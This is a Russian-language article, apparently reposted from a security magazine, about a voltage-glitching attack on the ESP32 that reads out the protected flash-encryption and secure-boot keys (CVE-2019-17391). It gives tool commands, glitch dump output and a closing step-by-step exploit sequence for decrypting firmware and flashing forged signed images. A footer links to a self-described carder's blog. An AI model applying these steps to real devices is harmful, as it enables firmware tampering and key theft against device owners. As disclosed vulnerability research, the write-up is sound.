Взламываем ESP32 раз и навсегда. Извлечение ключей флеш-шифрования и безопасной загрузки

Взламываем ESP32 раз и навсегда. Извлечение ключей флеш-шифрования и безопасной загрузки

Темная Сторона Интернета

Свое масштабное исследование микроконтроллера ESP32 я закончил изучением двух его важнейших функций: безопасной загрузки (Secure Boot) и флеш-шифрования (Flash Encryption). Моей целью было получить рабочий эксплоит, который обходит и то и другое. В этой статье я покажу, как полностью считать защищенные eFuses, в которых хранятся секретные ключи.

Первый ключ используется для флеш-шифрования (BLK1), второй — для безопасной загрузки (BLK2). Поскольку вендор не может выпустить патч, который предотвратит подобную атаку на уже выпущенных устройствах, это «пожизненный» взлом. Совместно с вендором Espressif мы решили пойти на ответственное раскрытие обнаруженной уязвимости (CVE-2019-17391).


Содержание статьи


Однократно программируемые предохранители

Однократно программируемая (One-Time Programmable, OTP) память — это тип энергонезависимой памяти, в которую можно записать данные только один раз. Записав однажды, их уже нельзя изменить — после отключения питания данные все равно остаются на носителе. В ESP32 такая память базируется на технологии eFuses (electronic Fuses) — и хранит системные параметры, настройки безопасности и конфиденциальные данные.

По сути eFuse — это один бит энергонезависимой памяти; единожды получив значение 1, он уже никогда не поменяет его на 0. Контроллер eFuses программным методом присваивает каждому биту необходимый системный параметр. Некоторые из этих параметров либо считываются софтом через контроллер eFuses, либо используются железом напрямую. Часть таких электронных предохранителей защищают доступ к чтению и записи данных.


Контроллер eFuses на ESP32

Espressif предоставляет полную документацию по технологии eFuse. В техническом руководстве есть и глава, посвященная контроллеру eFuses (глава 20). Этот контроллер управляет массивами eFuses и содержит четыре блока eFuses каждый длиной 256 бит (не все из них доступны):

  • EFUSE_BLK0 используется исключительно для системных задач;
  • EFUSE_BLK1 содержит ключ флеш-шифрования (Flash Encryption Key, FEK);
  • EFUSE_BLK2 содержит ключ безопасной загрузки (Secure Boot Key, SBK);
  • EFUSE_BLK3 частично резервируется под кастомный MAC-адрес или полностью занят пользовательским приложением.

Представление eFuses выглядит следующим образом.

Как видим, самые важные блоки — это BLK1 и BLK2, которые хранят соответственно FEK и SBK. От перезаписи их защищают WR_DIS_BLK1 и WR_DIS_BLK2, а от чтения — RD_DIS_BLK1 и RD_DIS_BLK2.


Безопасная загрузка

Безопасная загрузка (Secure Boot) стоит на страже подлинности и целостности прошивки, которая хранится во внешней флеш-памяти типа SPI. Атакующему ничего не стоит изменить содержимое внешней флеш-памяти и запустить на ESP32 зловредный код. Безопасная загрузка призвана защитить от подобной модификации прошивки.

Перед запуском прошивки безопасная загрузка создает цепочку доверия — от BootROM к загрузчику. Это гарантирует, что исполняемый на устройстве код подлинный и не может быть изменен без подписи бинарников (для этого нужен секретный ключ). Неподписанные бинарники устройство просто не запустит.


Как это работает?

Безопасную загрузку обычно устанавливают еще на производстве, которое считается безопасной средой.

Ключ безопасной загрузки (SBK) сохраняют в eFuses

Как мы уже говорили, у ESP32 есть OTP-память, которая состоит из четырех блоков по 256 eFuses (всего 1024 бит). Ключ безопасной загрузки (SBK) вшивают в электронные предохранители блока BLK2 (256 бит) на производстве. Именно с его помощью в режиме AES-256 ECB создается цепочка доверия от BootROM к загрузчику — чтобы проверить последний. Ключ нельзя считать или модифицировать — блок BLK2 защищен специальными eFuses.

Понятно, что такой ключ нужно хранить в тайне — чтобы злоумышленник не мог создать новый образ загрузчика, способный пройти верификацию. Хорошо бы также присваивать каждому устройству уникальный ключ — чтобы уменьшить масштаб катастрофы в случае, если один из SBK утечет или будет дешифрован.

Пара ключей ECDSA

Во время производства вендор также генерит пару ключей ECDSA — секретный и открытый. Первый хранят в тайне. Второй включают в конец образа загрузчика — он отвечает за проверку подписи в образах приложений.

Дайджест

На адрес 0x0 флеш-памяти SPI вшивают 192-байтный дайджест. На выходе мы получаем 192 байт данных: 128 рандомных байт плюс содержательный дайджест из 64 байт, вычисленных по хеш-функции SHA-512. Выглядит все это так:

Digest = SHA-512(AES-256((bootloader.bin + ECDSA publ. key), SBK))

Остановимся на SBK

Исходя из уже сказанного, я решил сосредоточиться на SBK, который хранится в eFuses блока BLK2. Если я его вычислю, то смогу подписать свой зловредный загрузчик и избежать верификации ECDSA.

Настройка безопасной загрузки

Благодаря документации я знаю, что на новой плате ESP32 безопасную загрузку можно включить вручную:

$ espefuse.py burn_key secure_boot ./hello_world_k1/secure-bootloader-key-256.bin

$ espefuse.py burn_efuse ABS_DONE_0

После перезагрузки можно увидеть представление eFuses, используя инструмент espefuse.py.

Безопасная загрузка включена (ABS_DONE_0=1), и ее ключ (BLK2) больше нельзя считать или переписать. А параметр CONSOLE_DEBUG_DISABLE был прошит еще до того, как я получил плату. Теперь ESP32 удостоверяет загрузчик при каждом запуске, затем софт верифицирует приложение и после этого исполняет код.


Флеш-шифрование

Флеш-шифрование (Flash Encryption) — функция для шифрования содержимого встроенной в ESP32 SPI-флешки. Когда флеш-шифрование активировано, мы не можем получить доступ к большей части контента, просто физически считав SPI-носитель.

Если активировать эту функцию, то по дефолту шифруются:

  • загрузчик;
  • таблица разделов;
  • раздел приложений.

Другие типы данных могут быть зашифрованы в зависимости от условий:

  • дайджест загрузчика Secure Boot (если включена безопасная загрузка);
  • любые разделы, помеченные в таблице разделов флагом encrypted.

Как это работает?

Как и безопасная загрузка, флеш-шифрование обычно прошивается еще на производстве, которое считается безопасной средой.

Ключ флеш-шифрования (FEK) сохраняют в eFuses

Все то же самое: OTP-память ESP32, состоящая из четырех блоков по 256 eFuses, всего 1024 бит. Ключ флеш-шифрования (FEK) вшивается в блок электронных предохранителей BLK1. Содержимое флеш-памяти шифруется с помощью AES-256.

Ключ флеш-шифрования хранится в eFuses внутри чипа и защищен от программного доступа. Его нельзя считать или модифицировать — за это отвечают защитные eFuses.

Флеш-шифрование с помощью AES-256

Флеш-шифрование использует алгоритм AES-256, при котором ключ «корректируется» смещением каждого 32-байтного блока флеш-памяти. Это значит, что каждый 32-байтный блок (два последовательных 16-байтных AES-блока) шифруется уникальным ключом, основанным на общем ключе флеш-шифрования (FEK). Прозрачность доступа к флеш-памяти в ESP32 обеспечивает функция отображения флеш-кеша: любые области флеш-памяти, сопоставленные с адресным пространством, при чтении понятным образом дешифруются.


Остановимся на FEK

Итак, теперь я решил сосредоточиться на FEK, который хранится в eFuses блока BLK1. Заполучив его, я смогу зашифровать новый загрузчик или расшифровать всю прошивку, что тоже неплохо.


Время настроить флеш-шифрование

Для начала я сгенерировал свой собственный ключ и прошил его в BLK2:

$ espsecure.py generate_flash_encryption_key my_flash_encryption_key.bin

$ hexdump my_flash_encryption_key.bin

0000000 c838 e375 7633 1541 5ff9 4365 f2dd 2ce9

0000010 1f78 42a0 bf53 8f14 68ce 009f 5586 9b52

$ espefuse.py --port /dev/ttyUSB0 burn_key flash_encryption my_flash_encryption_key.bin

espefuse.py v2.7-dev

Connecting......

Write key in efuse block 1. The key block will be read and write protected (no further changes or readback). This is an irreversible operation.

Type 'BURN' (all capitals) to continue.

BURN

Burned key data. New value: 9b 52 55 86 00 9f 68 ce 8f 14 bf 53 42 a0 1f 78 2c e9 f2 dd 43 65 5f f9 15 41 76 33 e3 75 c8 38

Disabling read/write to key efuse block...

Затем назначил ответственные за активацию флеш-шифрования eFuses:

$ espefuse.py burn_efuse FLASH_CRYPT_CONFIG 0xf

$ espefuse.py burn_efuse FLASH_CRYPT_CNT

Для чтения eFuses также годится команда dump:

$ espefuse.py --port /dev/ttyUSB0 dump

espefuse.py v2.7-dev

Connecting....

EFUSE block 0:

00130180 bf4dbb34 00e43c71 0000a000 00000430 f0000000 00000054

EFUSE block 1:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

EFUSE block 2:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

EFUSE block 3:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

По результатам моего реверса в значении EFUSE block0 первое 32-битное слово соответствует настройкам безопасности:

00130180 = 00000000 00010011 00000001 10000000

Две единицы в конце второго сегмента относятся к eFuses, которые защищают BLK2 и BLK1 от чтения. Любые попытки прочесть BLK1 или BLK2 возвращают 0x00.

В итоге настройки безопасности ESP32 выглядят так.


Тестируем приложение в режиме полной безопасности ESP32

Для максимальной безопасности Espressif рекомендует использовать как безопасную загрузку, так и флеш-шифрование. Включим обе функции и протестим их с помощью специально скомпилированного и прошитого приложения.

Компилируем тестовое приложение

Тестовое приложение можно запилить простым main.c, например:

void app_main() {
    while(1) {
        printf("Hello from SEC boot K1 & FE !\n");
        vTaskDelay(1000 / portTICK_PERIOD_MS);
    }
}

Для компиляции я активирую безопасную загрузку и флеш-шифрование с помощью make menuconfig.


Прошиваем тестовое приложение

Все образы подписаны, зашифрованы и один за другим прошиты в память ESP32 (я делаю это вручную, чтобы получить максимум информации о процессе флеш-шифрования):

$ espsecure.py encrypt_flash_data -k ../../my_flash_encryption_key.bin -o bootloader-reflash-digest-encrypted.bin -a 0x0 bootloader-reflash-digest.bin

$ python /home/limited/esp/esp-idf/components/esptool_py/esptool/esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 115200 --before default_reset --after hard_reset write_flash -z --flash_mode dio --flash_freq 40m --flash_size detect 0x0 /home/ limited/esp/hello_world_k1_FE/build/bootloader/bootloader-reflash-digest-encrypted.bin

$ espsecure.py encrypt_flash_data -k ../my_flash_encryption_key.bin -o hello-world-encrypted.bin -a 0x10000 hello-world.bin

$ espsecure.py encrypt_flash_data -k ../my_flash_encryption_key.bin -o partitions_singleapp-encrypted.bin -a 0x08000 partitions_singleapp.bin

$ python /home/limited/esp/esp-idf/components/esptool_py/esptool/esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 115200 --before default_reset --after hard_reset write_flash -z --flash_mode dio --flash_freq 40m --flash_size detect 0x10000 /home/limited/esp/hello_world_k1_FE/build/hello-world-encrypted.bin 0x8000 /home/limited/esp/hello_world_k1_FE/build/partitions_singleapp-encrypted.bin

Ну что ж, сработало как по волшебству. Вот что показывает лог UART при включении:

ets Jun 8 2016 00:22:57

rst:0x1 (POWERON_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)

configsip: 0, SPIWP:0xee

clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00

mode:DIO, clock div:2

load:0x3fff0018,len:4

load:0x3fff001c,len:5548

load:0x40078000,len:0

load:0x40078000,len:21468

entry 0x40078680

I (920) cpu_start: Pro cpu up.

I (920) cpu_start: Starting app cpu, entry point is 0x40080e44

I (0) cpu_start: App cpu up.

I (923) heap_init: Initializing. RAM available for dynamic allocation:

I (930) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM

I (936) heap_init: At 3FFB29A8 len 0002D658 (181 KiB): DRAM

I (942) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM

I (949) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM

I (955) heap_init: At 40088B50 len 000174B0 (93 KiB): IRAM

I (961) cpu_start: Pro cpu start user code

I (308) cpu_start: Starting scheduler on PRO CPU.

I (0) cpu_start: Starting scheduler on APP CPU.

Hello from SEC boot K1 & FE !

Hello from SEC boot K1 & FE !

Hello from SEC boot K1 & FE !


Проверяем содержимое флеш-памяти

Чтобы убедиться, что прошивка зашифрована, я сдампил все содержимое флеш-памяти:

$ esptool.py -p /dev/ttyUSB0 -b 460800 read_flash 0 0x400000 flash_contents.bin

Как и ожидалось, ничего не понятно.


Пора взламывать!

Ты можешь спросить: так, погоди-ка, а где здесь уязвимость? И будешь прав: пока уязвимости мы не обнаружили. Но…


Черный ящик

Я поставил резистор на 1 Ом (подключен к осциллографу) на VDD_RTC, чтобы проверить, что происходит с мощностью во время загрузки ESP32. Простой анализ мощности — полезный метод для реверса аппаратной обработки.

Я быстро нашел чисто аппаратную обработку длиной в 500 мкс — до начала строки ets June 2018, соответствующей процессу BootROM.

Эта аппаратная активность — наверняка инициализация контроллера eFuses и загрузка значений eFuses в специальную буферную память. Оттуда флеш-контроллер будет извлекать эти значения на следующих этапах.

Проверим мое предположение.


Готовим оборудование

Тестировать будем с помощью платы LOLIN. Выставим режим максимальной безопасности ESP32 (безопасная загрузка + флеш-шифрование).

Модифицируем плату

Я модифицировал плату, чтобы одновременно управлять VDD_CPU и VDD_RTC.


Настройка оборудования

Для скриптов и синхронизации всех частей я использовал Python.


Режим загрузки и команда dump

Для нашего эксперимента я установил на ESP32 режим загрузки (IO0 подключен к GND). Применяю команду dump, о которой мы уже говорили:

$ espefuse.py --port /dev/ttyUSB0 dump

espefuse.py v2.7-dev

Connecting....

EFUSE block 0:

00130180 bf4dbb34 00e43c71 0000a000 00000430 f0000000 00000054

EFUSE block 1:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

EFUSE block 2:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

EFUSE block 3:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000


Результат

Используем обнаруженный нами период аппаратной обработки (до загрузки BootROM), чтобы обрушить напряжение на VDD_CPU и VDD_RTC. Если мы успешно считали защищенные от чтения и записи eFuses, экран осциллографа выглядит вот так.

Во-первых, мы сдампили ключ флеш-шифрования:

----- Efuses reading 40 ----- Pulse delay = 0.001191230

espefuse.py v2.7-dev

Connecting....

EFUSE block 0:

00120300 bf4dbb34 00e43c71 0000a000 00000430 f0000000 00000054

EFUSE block 1:

8655529b ce689f00 56bf288f 781fa042 ddf2e958 f25f6543 33764115 38c875e3

EFUSE block 2:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

EFUSE block 3:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000001

Во-вторых, ключ безопасной загрузки тоже наш:

----- Efuses reading 19 ----- Pulse delay = 0.001190600

espefuse.py v2.7-dev

Connecting....

EFUSE block 0:

001100c0 bf4dbb34 00e43c71 00000000 00000430 f0000000 00000054

EFUSE block 1:

00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

EFUSE block 2:

e94f5bc2 00370f91 7c897429 2eadd23b c7664f05 5ae3365f d3781029 82e25c4c

EFUSE block 3:

00000000 00000000 00800000 00000000 00000000 01000000 00000000 00000080

Фатальный PoC


Один шаг до полного раскрытия ключей

К сожалению, некоторые байты в полученных выше значениях ошибочны. Вероятно, это связано с помехами во время инициализации контроллера eFuses — сложно сказать точнее без доступа к конфиденциальной информации о разработке.

После короткого сеанса сбоев в логе осталось 30 сброшенных значений, но ни одно из них не совпадает с реальным ключом в точности. Требуется небольшой статистический анализ. Я написал питоновский скрипт, чтобы вычислить ключ безопасной загрузки по 30 сброшенным ключам.

Примечание: здесь анализируется только SBK, но FEK тоже можно вычислить этим способом.

При реальном взломе (то есть без знания ключа) брутфорсить приходится только последний байт. То же относится и к FEK. Забрутфорсить SBK можно, сравнивая дайджесты на шине 0x80 флеш-памяти. Для FEK пригодится команда fw-decryption. Не так уж сложно.


Полный и окончательный эксплоит

Ниже описано, как навеки загрузить код эксплоита в «полностью защищенный ESP32»:

## Дампишь зашифрованную прошивку из режима загрузки (или через считывание флеш-памяти)
$ esptool.py -p /dev/ttyUSB0 -b 460800 read_flash 0 0x400000 flash_contents.bin

## Дампишь FEK и SBK с помощью сбоя напряжения (как описано выше)
## Запускаешь статистический анализ по 30–50 полученным значениям

## Дешифруешь прошивку, используя реальный FEK (однобайтовый брутфорс)
$ espsecure.py decrypt_flash_data --keyfile my_dumped_fek.bin --output decrypted.bin --address 0x0 flash_contents.bin

## Извлекаешь bootloader.bin из расшифрованной прошивки, начиная с 0x1000, размер загрузчика может разниться (здесь 0x69F0)
$ dd if=decrypted.bin of=bootloader.bin bs=1 skip=$((0x1000)) count=$((0x69F0))

## Извлекаешь iv.bin (первые 128 рандомных байт по адресу 0x00 в дешифрованной прошивке) 
$ dd if=decrypted.bin of=iv.bin bs=1 count=$((0x80))

## Вычисляешь подлинный дайджест, используя реальный SBK (однобайтовый брутфорс), и сравниваешь с оригинальным дайджестом по адресу 0x80 в дешифрованной прошивке (64 байт)
$ espsecure.py digest_secure_bootloader --keyfile my_dumped_sbk.bin --iv iv.bin bootloader.bin 

## Вставляешь бинарники FEK и SBK в рабочую область
## Пишешь код 
## Компилируешь образы с помощью sdkconfig (используя FEK и SBK) 
## Заливаешь новую зашифрованную и подписанную прошивку
## Откидываешься в кресле: ты только что обошел безопасную загрузку и флеш-шифрование навеки

А еще, когда пишешь файлы ключей, важно помнить о порядке байтов. Посмотри на эти примеры.

Источник: xakep.ru

привет, я Марк - мой личный блог, будни злого кардера-алкоголика. Спасибо за внимание!

Report Page